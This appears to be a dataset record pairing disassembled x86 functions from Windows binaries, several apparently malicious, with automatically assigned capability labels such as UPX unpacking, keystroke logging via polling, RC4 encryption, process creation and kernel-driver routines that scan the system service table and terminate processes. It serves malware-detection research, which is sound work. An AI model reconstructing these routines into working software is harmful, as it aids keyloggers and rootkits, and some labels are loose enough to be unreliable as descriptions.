joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017580
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10017744
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe000]
push edi
jmp 0x100175aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x100175b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100175a0
mov eax, 1
add ebx, ebx
jne 0x100175c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x100175b8
jne 0x100175d4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100175b8
xor ecx, ecx
sub eax, 3
jb 0x100175e8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1001765a
mov ebp, eax
add ebx, ebx
jne 0x100175f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10017600
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10017624
inc ecx
add ebx, ebx
jne 0x10017610
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10017605
jne 0x10017621
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10017605
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10017644
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10017635
jmp 0x100175a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10017644
add edi, ecx
jmp 0x100175a6
pop esi
mov edi, esi
mov ecx, 0x3e4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10017662
cmp byte [edi], 5
jne 0x10017662
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x10017667
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x100176d6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10017694
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1702c]
or eax, eax
je 0x100176d0
mov dword [ebx], eax
add ebx, 4
jmp 0x100176b1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10017707
cmp al, 0xef
ja 0x100176fa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x100176dc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x100176e9
mov ebp, dword [esi + 0x17030]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1001773b
sub esp, 0xffffff80
jmp 0x1000124a
Function at 0x10590
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
call sub.ntoskrnl.exe_PsGetVersion
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 5
ja case.default.0x105ca
mov eax, dword [ebp - 0xc]
jmp dword [eax*4 + 0x1070d]
cmp dword [ebp - 4], 0x893
jne 0x105e1
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0xa28
jne 0x105f1
mov dword [ebp - 8], 0x25c
cmp dword [ebp - 4], 0xece
jne 0x10601
mov dword [ebp - 8], 0x270
jmp case.default.0x105ca
cmp dword [ebp - 4], 0x893
jne 0x10616
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0xa28
jne 0x10626
mov dword [ebp - 8], 0x1b0
cmp dword [ebp - 4], 0xece
jne 0x10636
mov dword [ebp - 8], 0x1a0
jmp case.default.0x105ca
cmp dword [ebp - 4], 0x893
jne 0x1064b
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0xa28
jne 0x1065b
mov dword [ebp - 8], 0x174
cmp dword [ebp - 4], 0xece
jne 0x1066b
mov dword [ebp - 8], 0x164
jmp case.default.0x105ca
cmp dword [ebp - 4], 0x893
jne 0x10680
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0xa28
jne 0x10690
mov dword [ebp - 8], 0x88
cmp dword [ebp - 4], 0xece
jne 0x106a0
mov dword [ebp - 8], 0x98
jmp case.default.0x105ca
cmp dword [ebp - 4], 0x893
jne 0x106b2
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0xa28
jne 0x106c2
mov dword [ebp - 8], 0x84
cmp dword [ebp - 4], 0xece
jne 0x106d2
mov dword [ebp - 8], 0x94
jmp case.default.0x105ca
cmp dword [ebp - 4], 0x893
jne 0x106e4
mov dword [ebp - 8], 0
cmp dword [ebp - 4], 0xa28
jne 0x106f4
mov dword [ebp - 8], 0x78
cmp dword [ebp - 4], 0xece
jne case.default.0x105ca
mov dword [ebp - 8], 0x88
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4
Function at 0x10a40
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], 0
push 0x10950
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov dword [ebp - 4], eax
mov edx, dword [sym.imp.ntoskrnl.exe_KeServiceDescriptorTable]
mov eax, dword [edx]
mov ecx, dword [eax + 0x3f4]
mov dword [0x1209c], ecx
mov edx, dword [0x1209c]
push edx
push 0x10984
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
mov eax, dword [0x1209c]
mov dword [ebp - 8], eax
jmp 0x10aa6
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [0x1209c]
add edx, 0x43
cmp dword [ebp - 8], edx
jae 0x10b2b
mov eax, dword [ebp - 8]
movsx ecx, byte [eax]
and ecx, 0xff
cmp ecx, 0xc2
jne 0x10ad1
mov dword [ebp - 8], 0
jmp 0x10b2b
mov edx, dword [ebp - 8]
movsx eax, byte [edx]
and eax, 0xff
cmp eax, 0xe8
jne 0x10b26
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 4]
cmp edx, dword [ebp - 4]
jne 0x10aff
jmp 0x10a9d
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
lea eax, [edx + ecx + 4]
mov dword [0x1206c], eax
mov ecx, dword [0x1206c]
push ecx
push 0x109bc
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
jmp 0x10b2b
jmp 0x10a9d
mov dword [ebp - 0x18], 0
mov edx, dword [0x1206c]
mov dword [ebp - 8], edx
jmp 0x10b46
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [0x1209c]
add ecx, 0x30
cmp dword [ebp - 8], ecx
jae 0x10c01
mov edx, dword [ebp - 8]
movsx eax, byte [edx]
and eax, 0xff
cmp eax, 0xc2
jne 0x10b76
mov dword [ebp - 8], 0
jmp 0x10c01
mov ecx, dword [ebp - 8]
movsx edx, byte [ecx]
and edx, 0xff
cmp edx, 0xe8
jne 0x10bfc
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 1
jne 0x10ba4
jmp 0x10b3d
cmp dword [ebp - 0x18], 2
jne 0x10bd4
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 4]
mov dword [0x1208c], edx
mov eax, dword [0x1208c]
push eax
push 0x109d4
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
jmp 0x10b3d
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
lea ecx, [eax + edx + 4]
mov dword [0x12058], ecx
mov edx, dword [0x12058]
push edx
push 0x10a00
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
jmp 0x10c01
jmp 0x10b3d
mov esp, ebp
pop ebp
ret
Function at 0x10cb0
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0
mov eax, dword [0x1208c]
mov dword [0x11f90], eax
mov ecx, dword [0x12058]
mov dword [0x11f94], ecx
mov edx, dword [0x12064]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [0x11f94]
mov dword [ebp - 0x10], eax
jmp 0x10d02
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [0x11f94]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10d77
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x224]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x228]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
push edx
push 0x10c10
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x1f0]
push eax
push 0x10c50
call sub.ntoskrnl.exe_DbgPrint
add esp, 0x10
cmp dword [ebp - 0xc], 0x4fa332
jne 0x10d72
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x1204c]
push 0x10c94
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
jmp 0x10cf1
mov esp, ebp
pop ebp
ret

Function at 0x10e00
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], 0x32000
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 4
mov eax, dword [0x1208c]
mov dword [0x11f90], eax
mov ecx, dword [0x12058]
mov dword [0x11f94], ecx
push 0x10d80
call fcn.00010ed0
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
push edx
push 0x10d90
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.ntoskrnl.exe_PsLookupProcessByProcessId
mov edx, dword [ebp - 4]
push edx
push 0x10dc0
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [0x11f94]
mov dword [ebp - 0x14], eax
jmp 0x10e93
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [0x11f94]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10ec6
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x224]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jb 0x10ec4
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], ecx
ja 0x10ec4
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [0x11f90]
jmp 0x10e82
mov esp, ebp
pop ebp
ret
Function at 0x10ed0
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x11f8c]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 8]
push eax
push 0xa
lea ecx, [ebp - 0x24]
push ecx
push 0xb
call dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov dword [ebp - 0x2c], eax
push 0x206b6444
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10fe5
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0xb
call dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x10fd9
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 4]
add edx, 4
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], 0
jmp 0x10f65
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x10fd9
push 0x5c
mov edx, dword [ebp - 0xc]
add edx, 0x1c
push edx
call dword [sym.imp.ntoskrnl.exe_strrchr]
add esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10f93
mov eax, dword [ebp - 0xc]
add eax, 0x1c
mov dword [ebp - 0x14], eax
jmp 0x10f9c
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe__stricmp]
add esp, 8
test eax, eax
jne 0x10fcb
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x30], edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 0x30]
jmp 0x10fe7
mov ecx, dword [ebp - 0xc]
add ecx, 0x11c
mov dword [ebp - 0xc], ecx
jmp 0x10f5c
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov ecx, dword [ebp - 0x18]
call fcn.00011dc5
mov esp, ebp
pop ebp
ret 4

Function at 0x1273d
Capabilities:
Create device object
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [0x11f8c]
test eax, eax
mov ecx, 0xbb40
je 0x12754
cmp eax, ecx
jne 0x12777
mov edx, dword [sym.imp.ntoskrnl.exe_KeTickCount]
mov eax, 0x11f8c
shr eax, 8
xor eax, dword [edx]
and eax, 0xffff
mov dword [0x11f8c], eax
jne 0x12777
mov eax, ecx
mov dword [0x11f8c], eax
not eax
mov dword [0x11f88], eax
pop ebp
jmp fcn.00012510
Function at 0x409400
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46459b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00459248
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409482
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00457197
mov eax, dword [eax]
push 0x5071c0
push eax
call fcn.0044a094
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004594d3
test bl, bl
je 0x409482
push 0x5071c0
lea ecx, [esp + 0xc]
call fcn.00459863
push 0x50ad30
lea ecx, [esp + 0xc]
call fcn.00459863
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4094be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004594d3
jmp 0x409589
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x409542
lea edx, [esp + 0x7c]
push 0x50ad2c
push edx
call fcn.0044a094
add esp, 8
test eax, eax
je 0x409542
lea eax, [esp + 0x7c]
push 0x50ad28
push eax
call fcn.0044a094
add esp, 8
test eax, eax
je 0x409542
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4094d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004594d3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x409d80
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409de2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x409df0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46461b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x511218]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x409f28
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x409e56
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004594d3
xor eax, eax
jmp 0x409f9f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00459610
push esi
lea ecx, [esp + 0xc]
call fcn.0045989f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x50ad68
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x409f7d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00409d80
test eax, eax
jne 0x409f7d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00409d80
test eax, eax
jne 0x409f7d
lea eax, [esp + 0x14]
push 0x50ad44
push eax
call fcn.0044b0d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x409f5c
lea ecx, [esp + 0x14]
push 0x50ad40
push ecx
call fcn.0044b050
mov esi, eax
add esp, 8
test esi, esi
jne 0x409f5c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x409f5f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004595c0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x409e6e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004594d3
xor eax, eax
jmp 0x409f9f
mov byte [esi], 0
push 0x50ad3c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004594d3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41a590
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41a5fe
cmp si, 0x69
ja 0x41a5fe
add esi, 0xffd0
cmp si, 0x11
je 0x41a5ce
push 0x11
call edi
test ax, ax
jge 0x41a5ce
or esi, 0x2000
cmp si, 0x10
je 0x41a5e3
push 0x10
call edi
test ax, ax
jge 0x41a5e3
or esi, 0x4000
cmp si, 0x12
je 0x41a5f8
push 0x12
call edi
test ax, ax
jge 0x41a5f8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41a60b
mov esi, 0xbd
jmp 0x41a5bf
cmp si, 0x6e
jne 0x41a618
mov esi, 0xbe
jmp 0x41a5bf
cmp si, 0x6f
jne 0x41a5b9
mov esi, 0xbf
jmp 0x41a5bf

Function at 0x41bd40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5218a8]
xor edx, edx
cmp eax, edx
jne 0x41bd66
xor eax, eax
mov byte [eax + 0x5217a8], al
inc eax
cmp eax, 0x100
jl 0x41bd4e
mov dword [0x5218a8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5217a8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41bdf7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41bdca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41bd98
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41be70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41bec3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41beaa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x422900
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x422a98
cmp ebp, ebx
jle 0x422a98
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x42295e
dec eax
or eax, 0xfffffff8
inc eax
je 0x422965
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x422974
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42297b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00459214
add esp, 4
cmp eax, ebx
je 0x42299c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00459214
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x422a8e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x422a75
mov al, byte [edx]
cmp al, 0xc0
jbe 0x422a61
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x422a56
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x422a64
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x422a64
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x422a00
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4229f1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x425cc0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x465ae8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x425cf9
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00460bc1
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00460c0d
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00425d80
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00460c4a
